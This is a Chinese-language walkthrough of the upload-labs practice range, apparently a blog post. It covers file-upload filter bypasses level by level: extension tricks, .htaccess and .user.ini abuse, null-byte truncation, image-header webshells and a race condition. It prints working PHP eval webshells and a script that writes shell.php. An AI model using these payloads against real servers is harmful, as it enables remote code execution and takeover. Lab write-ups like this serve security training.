upload-labs靶场攻略

第一关

当我们直接上传php文件,bp抓不到包,提示不符合规定,说明是前端校验

1.创建一个php文件,写入后门

<?php @eval ($_POST['a']); ?>

然后修改后缀为jpg格式,绕过前端校验

2.用burp抓包,抓到包修改后缀名为.php

上传成功

第二关

首先,我上传一个不符合类型的php文件,用burp抓包时,抓到包了,说明不是前端校验

看抓包,发现有content-Type

借助他的Content-Type,把后缀改为php类型

上传成功

第三关

靶场提示php,axp无法上传,尝试使用其他后缀名

因为黑名单(一般限制不全)所以可以采用后缀为php3,php5,phtml

改名后上传成功

第四关

我们发现上传php3也绕过不了,查看源代码发现,过滤了很多文件类型,但是没过滤.htaccess

创建文件.htaccess,上传

<FilesMatch "1.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到1.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到1.gif文件,则被解析成PHP代码执行
</FilesMatch>

创建1.gif文件,上传

<?php phpinfo();?>

成功解析

第五关

发现.htaccess也被过滤了,但是没过滤.user.ini

创建.user.ini文件,上传

auto_prepend_file=1.jpg

创建1.jpg,上传

<?php @eval($_POST['a']);?)>

解析成功

第六关

查看源代码,发现这关没有过滤大小写完全

文件名改为.Php上传,成功上传

第七关

查看源代码,发现没有删掉空格,使用空格绕过

文件名改为.php(空格),成功上传

第八关

与第七关类似,没有过滤点

文件名改为.php.,成功上传

第九关

查看源码发现,没有对::$data过滤,用::$data绕过

直接上传带后门的php,用burp抓包,在php后面加上::$data

打开上传文件,删去 ::$data 复制地址,用shell工具连接

成功解析

第十关

查看源码,发现有删除了点空格,但是只删除了一次,而且deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,所以使用点空格点绕过

1.php. .

第十一关

通过源代码和尝试绕过,发现,黑名单中被限制的文件后缀都被替换为空(文件上传后,黑名单中的后缀也被删除了),可以尝试双写绕过

1.pphphp,发现上传成功

第十二关

当我们上传文件,显示只允许上传的文件类型,说明是白名单,可以使用%00绕过

在文件路径(一般在url中)里用%00截断

在用shell连接时要把php后面的去掉

第十三关

这关与上一关一样,但是post请求,所以用0x00截断

第十四关

查看源码,是对文件头检测,我们使用图片马

准备好后门php,用16进制编辑器打开,在前面加上要求图片格式的文件头

第十五关

查看源码发现,不只对文件头检测,也对文件信息检测

使用cmd创建文件马绕过

第十六关

查看源码,用exif_imagetype()检测,还是用cmd创建图片马就可以

第十七关

我们先尝试用上面的方法进行绕过,发现不成功,我们把上传的文件用16进制查看一下,发现后门代码没有了,说明有二次渲染

我们尝试在渲染后的图片上修改

上传一张.gif的文件,然后保存渲染后的照片,直接在里面插入后门代码然后再上传,然后用文件包含,连接后门

第十八关

查看源码发现服务器先通过move_uploaded_file函数把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除,使用条件竞争

创建1.php文件

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>
解释:这个文件的作用就是,在访问到这个文件后,这个文件会在服务器的当前目录下创建一个shell.php的
把<?php @eval($_POST["aa"])?>写入shell.php

访问1.php文件,让shell.php创建

用burp抓包,竞争条件

多尝试后发现shell.php创建完成

第十九关

查看源码,在检查后缀是不是在服务器上解析,还没到服务器就删掉了,但是改名是在服务器上完成的

先上传1.php.7z绕过后缀解析,再重命名前访问1.php.7z

第二十关

这关通过方法很多

可以通过点过滤,空格过滤,::$DATA过滤,00截断,.user.ini

move_uploaded_file()会忽略掉文件末尾的\.windows构造php\.,linux构造/.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值